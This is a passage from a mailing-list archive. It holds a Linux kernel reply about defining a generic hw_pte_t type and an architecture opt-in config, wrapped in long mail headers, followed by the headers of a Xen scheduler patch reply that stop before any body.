 b=TRWcKo4eF/1a7f+oYAmjkAPpYcTrmiQkdTX0xGsdUWQfoHRyiDbghScnt1oTkrzHpGTpXeW6BZXKvx8F6VA2Xdnt6KrZcWIzIvXJyimPZPmbvZfHZPTRwQYJoIeB6gDW3MNmSE4Wn+tm8iCr/2eo7bZzedi8mu6zfRbtwYqTjHqKNlK38BMdpyzDYhLDcYyUxRI2DxXAQBo3iQct8gSjY1PskYIIhR9zUopSY58o42dKFLbTIa1CLARvcWKwMQ6NYuPGYLO59xb1IKgtxkgmOsSiIGrjinILI+gpnMSNAYtsg5sSYJfP4THr0IFrCSXCQSWP64c3ow0Ipd8/hWPdkA==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=kernel.org smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=8UgLZ8i/inTOBt7S51j8e9s65/Rn6K9L71YfNghMwJk=;
 b=r8WBeMklmddGAm0lSTHYsLA4ZTQE1ZLuJSt/QUO0R3jXztqcZ52QnHl57B5GLKXAegA0tQaC7GvjVpfhAy0fK5EFF6auEUHIr125aMqiOmwDd64Jlo1Urdgbssr9CPVp7owoAL5Awk88acUmrPoH+9c50lz7JksulRlvoAy3iqE=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=f0uKrjJBmHp7eTVLqZ+bd8ST87iOuHt2PL6pKLdHE2et8YzFCyOf5v6vEMT79ZoPloSxRT6rXnrw0n0AxV9G4RvGSmcMvAnwytTsqVIK1/eFumF/x4ewDceI37uMabTMvNcxD/Wj4cOU7mCo1bnpxMk/NKCy5/GH6hOG3PQ0qNihh3dadPSOgHKqJhXkPN2VAPzD1ql+6jczrAiVl8waWGEvZA9KsP9EGet4JDQipPt4O+Dunk+Rw0F5r/aLaNStPZldAOyCKae9KoT+ZFs1/K0HTqoBS7uUaFJ4X47ayVDEiZh8exmZP+WtIUM1GA2qCJbVQOAaGopIqp5CnToCvA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=8UgLZ8i/inTOBt7S51j8e9s65/Rn6K9L71YfNghMwJk=;
 b=PHuDnc5gnHlllAbPl+ssICaFV9QwlyirhxIKMRdOvP6LtpFytiCL1WR+Ed+n09EOtn4L3jDyT/98x4bmTAS1XghGKgZsuXZ8Z+M7n5SRkVSvzTGV2bG4mhqLhWXrM3pMew5fgpZpd2eeDn3oJq7IU3+G+x34AAvaNR8eJmbXpfdAFaAIPtIwa0FEUQ4B0NUGIwLFoQc787mZzf2uC7h7FyI+MYk09g8bKsxSr5ZpOMHhQI9w8pGvWKxyxkBk+Z7D19B1cEKsH0TIoDiIdc4WnlDUzGDp8e1h+oQE/jcZ1MpJMMOx/saBJV9N2Qfsk4R1RcqrhOrITvbtmlXXUS9NVw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=8UgLZ8i/inTOBt7S51j8e9s65/Rn6K9L71YfNghMwJk=;
 b=r8WBeMklmddGAm0lSTHYsLA4ZTQE1ZLuJSt/QUO0R3jXztqcZ52QnHl57B5GLKXAegA0tQaC7GvjVpfhAy0fK5EFF6auEUHIr125aMqiOmwDd64Jlo1Urdgbssr9CPVp7owoAL5Awk88acUmrPoH+9c50lz7JksulRlvoAy3iqE=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <38e14b3f-52b3-45d8-b151-776be75d44d8@arm.com>
Date: Wed, 29 Jul 2026 13:21:29 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: "David Hildenbrand (Arm)" <david@kernel.org>,
 Alexander Gordeev <agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
 <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
 <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
 <46319967-0338-4532-b953-dbea77084fe3@arm.com>
 <78a0402d-5436-4aab-a704-90fab56eec50@kernel.org>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <78a0402d-5436-4aab-a704-90fab56eec50@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P302CA0018.GBRP302.PROD.OUTLOOK.COM
 (2603:10a6:600:2c1::14) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|PAXPR08MB6432:EE_|DB1PEPF00039233:EE_|PAWPR08MB9616:EE_
X-MS-Office365-Filtering-Correlation-Id: 9aea7950-6810-4793-59dd-08deed6c1301
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|366016|23010399003|7416014|376014|1800799024|11063799006|4143699003|10067099003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info-Original:
 4f4WJiVrE4oE00IPJF13mXr5bYm4gJicwuFnW0oBvatB6ToESonz8/pFQy9Nsoh59srkh7AJ7Js2OYOpcAZjgWNoJEqkc0gP81wULmr6D2jyl+sQ4oxvEoWrcZTA0CzQ1Atz5uiA3JPPVbImXlnBvXEGNnh9MFsN9M4fysD56roZQ36+Z+mfvQlsr+06zv9TOIuiNx5CQTVDQfSzDipWZOASj2dFGOrG7Nv5dqqV04LK70KToG0OnumY6SVGimaGR+L4qiUVCZrr6GO9XrPVWAJzlJCYM77mWF7597CV5OMNeRje+Kd2FuHRNXttxrP9npyuNGxf9WOO8WO+dAldb6+8x9YsqcOugQjPQkULwaNtWNEsOoMYGQFd5cn+mpdZKrCwluwtNHX6nO32lbsA8kgE8YdbeZa6Kk5bSk6i3NMEaARh7kAnJkiuEwel69qEKRHkugY8G+JyK2Gr4oyZh7rA0ZMLHofVvYPeJHu5TNUSDLbAhTRBh5LGSSfkS3vkjAMv2ZG9YE03lkRt5NqCps2MOQryWQni+2q21fSj6lrnQq+MLUauz74mQTETrdGvYYg5X+wNLCs67CVW3ft7anoiMo3J3xDexGhnzPKYslqwke0d1m40ni/pPA/SpIyRupazJHBUKUwhPHedv2wvv7Lzk0132SQXBc2eYhmYDWI=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(7416014)(376014)(1800799024)(11063799006)(4143699003)(10067099003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 Brip8dYa6YHQXD+S29uLLOT7LZIpu5N3EpgcLBC8QHeBs7dhjsgU+a7dW8lNCfj8di1XyQ7cYDQJ0BJ4Hjw+vuizJ78uwgbcMviGi72j/DZTDkcPvf93jvRj/sV9S5monBHQD3KNSVeUP18W2OegB8BQoe0X+ESoFIcM7+FxisD/UpULQrvsaQkb/nR3GXD26Kx/QjPdun8wOddrS8LQdCyFzxlN8rig+EDZuaJE0CFqO0P9NVrr9GvJbDHz/Okby+NyKpsQt0t3AkrHSRXiylYwvlGQb1NR96MdI+G62zSMf/Edt//mv7zM2dbWWp0DO4iqSZYTkjA+WL7ON3otCg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAXPR08MB6432
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DB1PEPF00039233.eurprd03.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	26ba18ca-dbad-48bc-c3a3-08deed6bec90
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|82310400026|7416014|376014|23010399003|35042699022|36860700016|14060799003|11063799006|4143699003|56012099006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	ZIGqU36B0gyhuISu+hzqAHxQHzXCIWxncjxQuSli5HDWHsjU9CZAKvQBv/2qVA6g4IvFJYcplFnVsfzCNm9ZxzAui4+9VbDULzZ+0bboN7g1b24TghqGWf3AJz7+sRv/w+c+8vLfBQsvPziMqBz8tBsLiy2uUaEU1d51yOfDg6LXJwg17W2B+I1HNFhZoBZFkln+Oji67+9/Tftj71e4Pg1FCmSpb63nM0p22LmS5OJrKP3aFk5DlluUcPkaGgafsxtqw5atIe8ICWe11CgLJj4tBWB4IolEX/vx6cTu+EqHxG41VX3kIJz6QOyU5hijDwTkh57f5GX/BZytODrZ593np9FfaDIXsktrZIAhIFhPh+qKcadJSfZ6i7+jLdehUL46ZuglJmrj7mH0AMOMORsclCRGPAIj/tASopcYEi4iiTdhuNHnqqsje+Xu02wYXv1bIwkqvi+U7M9aXrymNYj+EYn1QpZljBlPJ+BYCyEpN1QMXfu89aQ8LQTKZA4zZA2nUkXfiJcTDRPjONLRu+mUlq8bQR7Lpk2v1NaVnBfbKkX4u2kTayg/BiG8xqWU5WwNqNYkB17xzCniPpwWP7Ue+0HTj1xZ6nIoyzdGRFug/tLlQwIcwUFAGh/a1S36Qt/ZOBnZfd3YcFrWz8Ta4UvdkEtP5OJjqyBK2NV4KJTlSkPFBPzZ99fMThxIOVv5Sf3II6YcfBpLcxuT5yl34A==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(82310400026)(7416014)(376014)(23010399003)(35042699022)(36860700016)(14060799003)(11063799006)(4143699003)(56012099006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	m0BkR8/X+Y/2YSrkkhKTipf4ehePcxOeGjGK/HMkPiYq7x39VpT9pGIXx7YjICzv3dRrqVt9sMng/ogk3QR9JPjPVZDXM1YgsAg+zgKYiY3e4gz87ekXnJD9bP9WANACldnpUqdaa35mxnTBbcd894orNH2g8SrxM9ZAn5W58w1zMGuaVye3TOZ83Oc/wNRno9jPD2BOXdvPD1yNIJUurQJQdrLaoa/ROMQmerFi43w6h1wEFavCUCRR+O/w724YL3ik/wRFKA1t5AkJA1gM/KUrdGpxK+MVxCHrUqKJ2Xf3pJSCGf6YLFYT5FpZ3awy7ih5nFESHUohIjTg1siXNBov8HTzWhXGdNSMXEaNMhXSOIlMbpHMNr09aLmPFt2MmnEVkvuwZE/n9ljUi2FCKQ/93R8Aj8Y2/N9mlIBkVF6PRjyP4qYyg2/llcQJ0hwg
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 12:22:36.3600
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 9aea7950-6810-4793-59dd-08deed6c1301
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DB1PEPF00039233.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAWPR08MB9616
X-purgate-ID: tlsNG-42698a/1785327762-A90CD9EA-09AA7BCC/0/0
X-purgate-type: clean
X-purgate-size: 1327

On 29/07/2026 12:52 pm, David Hildenbrand (Arm) wrote:
> On 7/29/26 13:33, Muhammad Usama Anjum wrote:
>> On 29/07/2026 12:05 pm, David Hildenbrand (Arm) wrote:
>>> On 7/29/26 12:13, Alexander Gordeev wrote:
>>>> ...
>>>>
>>>> May be we need the generic hw_pte_t implementation as { pte_t pte; }
>>>> right away?
>>>
>>> Indeed, that makes sense. We just need a way for the architecture to opt-in that
>>> it did the conversion.
>> Yeah and architecture cannot opt-in until its converted. So we should leave
>> it to architecture to define hw_pte_t.
> 
> In the context of this series, we should have something like an
> CONFIG_ARCH_HAS_XXX and select the definition based on that.
> 
> So we'd have a generic variant.
I'll add CONFIG_ARCH_HAS_XXX config in generic version.

I don't understand why generic code would define hw_pte_t if arch optionally
opts-in.

Are you saying pte_t may have different definition in different arches. But
the hw_pte_t would always be structure of pte_t. Hence definition

typedef struct { pte_t __pte; }; hw_pte_t;

can be moved to the generic code?

Moving definition to generic side is fine at this point in time. But if
a arch wants to hw_pte_t opaque and don't want the generic code to perform
arithmatic (ptep++), it'll not work.

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:25:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:25:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375708.1622781 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3Li-0005nM-EC; Wed, 29 Jul 2026 12:25:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375708.1622781; Wed, 29 Jul 2026 12:25:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3Li-0005nF-BO; Wed, 29 Jul 2026 12:25:26 +0000
Received: by outflank-mailman (input) for mailman id 1375708;
 Wed, 29 Jul 2026 12:25:25 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wp3Lh-0005n9-G8
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:25:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3Lg-00EOFv-Sb
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:25:24 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69f130-2eae-0a2a0a5409dd-0a2a45069f56-20
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:25:24 +0200
Received: from [52.101.48.7]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69f132-195a-0a2a45060019-34653007cdb3-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:25:24 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by SA0PR03MB5449.namprd03.prod.outlook.com (2603:10b6:806:bd::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 12:25:20 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 12:25:20 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=tjPty20R9kfCSUtTsUJJeEAGnvTMMFzn0DXP379seeJloMhBhz5h8tQHM64puuTghuQcgc1EE4hstZRkuZbiCct9mviDnT2ik1imHjkaw+X94PIZUBRcb/YuKkc1KdNPwrx5FBbNKIwGH9gkCcMLi+Jt/Sr7fJqcbR5I+pbSx/8fGlKJ+HyKLPtXQm2qs+jemDoP4FIc2Tr0fsnJoIUuYxTphWyaGzsBLWx0rF/Q2hufBDTwyjY7ym427N+VChBHSLJ8iiB2KnbY0SSx5t6j9S+hWQ/+UMA8eWHpGklig3CM9b+eOGI3shJsHfTp0oI4nu0r+N3YkRShQ6kz2kKngQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=eRTr+MpMRahb8jgY2LaKs0uMyDWCcmLT0Dg1sYdhLGs=;
 b=xVrfT7Yyzj2rXfWgCT6TK4rEvNSD4n/SxMZgQ2F/Zb5DF5Fiib86AqITY/pMRbHaQv3Pp2fpugXv5eEN8hl0O7YLO8DUmelwwaIf8ps2mqOfA0zOarcnY1i61gik1puKF1ociDyWTi37bdI6D3WLtTVv3CBVR4EbJBPxJDdeTgHYfWU9AGE7JFcIlOGPRFcAUiWAwEtR9cI5Nf6r+A7PLbWgYGQD11wb9uMAtSmcRkMOa/xiFCnrKSU0shQsFBFAO0vE2QZ4HA1K39wmOjvHZszZwX+WusBGaE9qnM3jdvW/fVpQffspkuU5N9StCQbqfLDfLfM7wVdsLW1oiRHxDA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=eRTr+MpMRahb8jgY2LaKs0uMyDWCcmLT0Dg1sYdhLGs=;
 b=Zapq0CXUQuUx8I24KDlUxEXSpv554ASRUh+uxUyTUPJlFGVx5eIFXFsRFOLgARcasDH4soj3UEIZ01TGS1dNwfTVFI6OKrebKPwCqsAYpZ1RUO1wtg03n0MIx5062uEeNTnWHrRxqAUtnFhcezz16La2+vkNiSySqhmTyWOVc8c=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <92e22a7f-b38d-46f6-8380-915434910a9d@citrix.com>
Date: Wed, 29 Jul 2026 13:25:17 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Dietmar Hahn <dietmar.hahn@fujitsu.com>
Subject: Re: [PATCH 2/2] xen/sched: fix schedule_dump() handling of free cpus
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
References: <20260729120643.327387-1-jgross@suse.com>
 <20260729120643.327387-3-jgross@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJ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content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO3P265CA0028.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:387::11) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|SA0PR03MB5449:EE_
X-MS-Office365-Filtering-Correlation-Id: 15b6d13d-d1aa-48e8-42a3-08deed6c74b1
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|4143699003|10067099003|6133799003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	e47FkXgB4Pf6/RcJRWebzIrcYiaG+k3+tbiLz9RW+BvxLFG17Xh8gHOAExMqCx4+lKrB8TadPB2vL8x1hUlYR5cmbidKa/dddYk3g0kbpHW8ePNRJmuSs5Cp+C51m59udTkTXnTL50zk65ywNyJZzeRla5VhGE29xIv6pvrPzkoFW2Ur+XgN1U0SR8647ng8NvKbN002snVBxo4kRfEm206QNqrb2Mrq9Ys3Vd4zG5iQfDDCTrIAulbmieD9Kpv4XaWeyb3XhCMarQFRfWQ5E+SRUQkJDnZ8uw+63+vPj5I/7Te5K7MmiDPCd8cRAsN6sAW1LjPb3lV/bNUnDgFe8b3s62B/SOIQLU5WZET+P4Ea4+M9e8xBlEW9ug/qjHOYm6xwJkUsDXPtMqUWt3C4kEsCC78YyoNItlP6jZouzJL/nOK4UdJ7Pg2Q8Z31aYxBg3rxRENI/jqx/A4SHpwhMylw3dReSV+siRpxTSTsdXcs5bPvVkjU82IQImnVd8++2N5q7uciKk7h5QQHUAbyV5YPkGAc19NKw8doLjtQ8CHadmefjyq+wgQgsDC4jyWyEbHWOptEOnQVHsuob2W4sWYeISkxSGSpdW4LseUOcuZAoxJYJVaAOh2uydFXsIBv+HTBGwjA151LjEzA2nKuVyTBgVlYmS4L78j3V2n07vA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(4143699003)(10067099003)(6133799003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?bUtsUlFGWFgwZnZWeDdpQm1SbC9qMUVhZjRJci9rOUtmbDFlQ0pMSHRlTHB2?=
 =?utf-8?B?bnNPTkFLMWNWQTNpTjZKQitZQ1dKNGdaVUw0TVlUaUVhODdJZHp2MGhhS1B6?=
 =?utf-8?B?eVYyQkxQQlNwNmhCOU1admFhNzdrWnBzQ213d0w3SXlVdlJyMnJHQllNZng5?=
 =?utf-8?B?aDdpZHVBRXdQVmViZmY1ZWc2aERpZXV5Ymo2ZTlTMXorWXhtS05EN0VzMm94?=
 =?utf-8?B?K0x6WG84YlNrakZYajJwaEZEWW1OMkNLanNScWFsSk1kRU9MUmFaZ1B4QWFt?=
 =?utf-8?B?VlZsY25KSE16ZVBWTjZWeVB1dFhYYksxSTVzb1hCQ3k3Z0t1SmlvMHdnZHdO?=
